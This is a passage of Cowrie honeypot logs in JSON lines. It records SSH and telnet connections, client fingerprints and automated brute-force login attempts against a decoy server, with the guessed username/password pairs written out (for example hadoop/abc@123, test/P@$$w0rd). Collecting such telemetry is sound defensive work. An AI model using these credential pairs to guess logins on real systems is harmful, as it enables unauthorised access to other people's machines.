0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:31.610445Z","src_ip":"122.168.114.167","session":"456f7c7086ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.042202949523926,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:33.408753Z","src_ip":"188.80.109.239","session":"e7d923a8f6fc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"joel","password":"joel","message":"login attempt [joel/joel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:36.621463Z","src_ip":"122.168.114.167","session":"456f7c7086ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:38.751381Z","src_ip":"122.168.114.167","session":"456f7c7086ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":57404,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fee4ded9334","protocol":"ssh","message":"New connection: 148.216.28.11:57404 (159.203.135.109:22) [session: 8fee4ded9334]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:44.881189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:44.887140Z","src_ip":"148.216.28.11","session":"8fee4ded9334","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:44.952600Z","src_ip":"148.216.28.11","session":"8fee4ded9334","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"abc@123","message":"login attempt [hadoop/abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:45.244552Z","src_ip":"148.216.28.11","session":"8fee4ded9334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":53146,"dst_ip":"159.203.135.109","dst_port":22,"session":"eceda6caa9ba","protocol":"ssh","message":"New connection: 2.203.183.35:53146 (159.203.135.109:22) [session: eceda6caa9ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:45.812337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:45.817707Z","src_ip":"2.203.183.35","session":"eceda6caa9ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:45.987038Z","src_ip":"2.203.183.35","session":"eceda6caa9ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:46.311291Z","src_ip":"148.216.28.11","session":"8fee4ded9334","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39324,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b97460d710d","protocol":"ssh","message":"New connection: 159.203.92.129:39324 (159.203.135.109:22) [session: 3b97460d710d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:46.619475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:46.623270Z","src_ip":"159.203.92.129","session":"3b97460d710d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:46.629061Z","src_ip":"159.203.92.129","session":"3b97460d710d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app1","password":"1qaz@WSX","message":"login attempt [app1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:46.639421Z","src_ip":"159.203.92.129","session":"3b97460d710d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu2018","message":"login attempt [ubuntu/ubuntu2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:46.826057Z","src_ip":"2.203.183.35","session":"eceda6caa9ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:47.645138Z","src_ip":"159.203.92.129","session":"3b97460d710d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:47.956808Z","src_ip":"2.203.183.35","session":"eceda6caa9ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":56168,"dst_ip":"159.203.135.109","dst_port":22,"session":"799b5619c9ff","protocol":"ssh","message":"New connection: 122.168.114.167:56168 (159.203.135.109:22) [session: 799b5619c9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:09.431477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:10.673096Z","src_ip":"122.168.114.167","session":"799b5619c9ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:10.676657Z","src_ip":"122.168.114.167","session":"799b5619c9ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:17.233620Z","src_ip":"122.168.114.167","session":"799b5619c9ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:19.903781Z","src_ip":"122.168.114.167","session":"799b5619c9ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":57830,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c78b8265f00","protocol":"ssh","message":"New connection: 2.57.122.238:57830 (10.17.0.5:22) [session: 3c78b8265f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:26.173682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:26.178626Z","src_ip":"2.57.122.238","session":"3c78b8265f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:26.281991Z","src_ip":"2.57.122.238","session":"3c78b8265f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:26.592220Z","src_ip":"2.57.122.238","session":"3c78b8265f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:27.697495Z","src_ip":"2.57.122.238","session":"3c78b8265f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":33486,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ce45346d8e2","protocol":"ssh","message":"New connection: 69.6.221.248:33486 (159.203.135.109:22) [session: 4ce45346d8e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:30.482139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:30.491231Z","src_ip":"69.6.221.248","session":"4ce45346d8e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:30.604547Z","src_ip":"69.6.221.248","session":"4ce45346d8e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":55890,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f5e20f8accd","protocol":"ssh","message":"New connection: 148.216.28.11:55890 (159.203.135.109:22) [session: 8f5e20f8accd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:30.768830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:30.774151Z","src_ip":"148.216.28.11","session":"8f5e20f8accd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:30.843557Z","src_ip":"148.216.28.11","session":"8f5e20f8accd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@123456","message":"login attempt [ubuntu/ubuntu@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:31.091764Z","src_ip":"69.6.221.248","session":"4ce45346d8e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@$$w0rd","message":"login attempt [test/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:31.147947Z","src_ip":"148.216.28.11","session":"8f5e20f8accd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":40094,"dst_ip":"10.17.0.5","dst_port":22,"session":"7659e09376c8","protocol":"ssh","message":"New connection: 210.79.142.221:40094 (10.17.0.5:22) [session: 7659e09376c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:31.361553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:31.366386Z","src_ip":"210.79.142.221","session":"7659e09376c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49102,"dst_ip":"159.203.135.109","dst_port":22,"session":"86c5aa67bb9f","protocol":"ssh","message":"New connection: 159.203.92.129:49102 (159.203.135.109:22) [session: 86c5aa67bb9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:31.423771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:39:31.427950Z","src_ip":"159.203.92.129","session":"86c5aa67bb9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS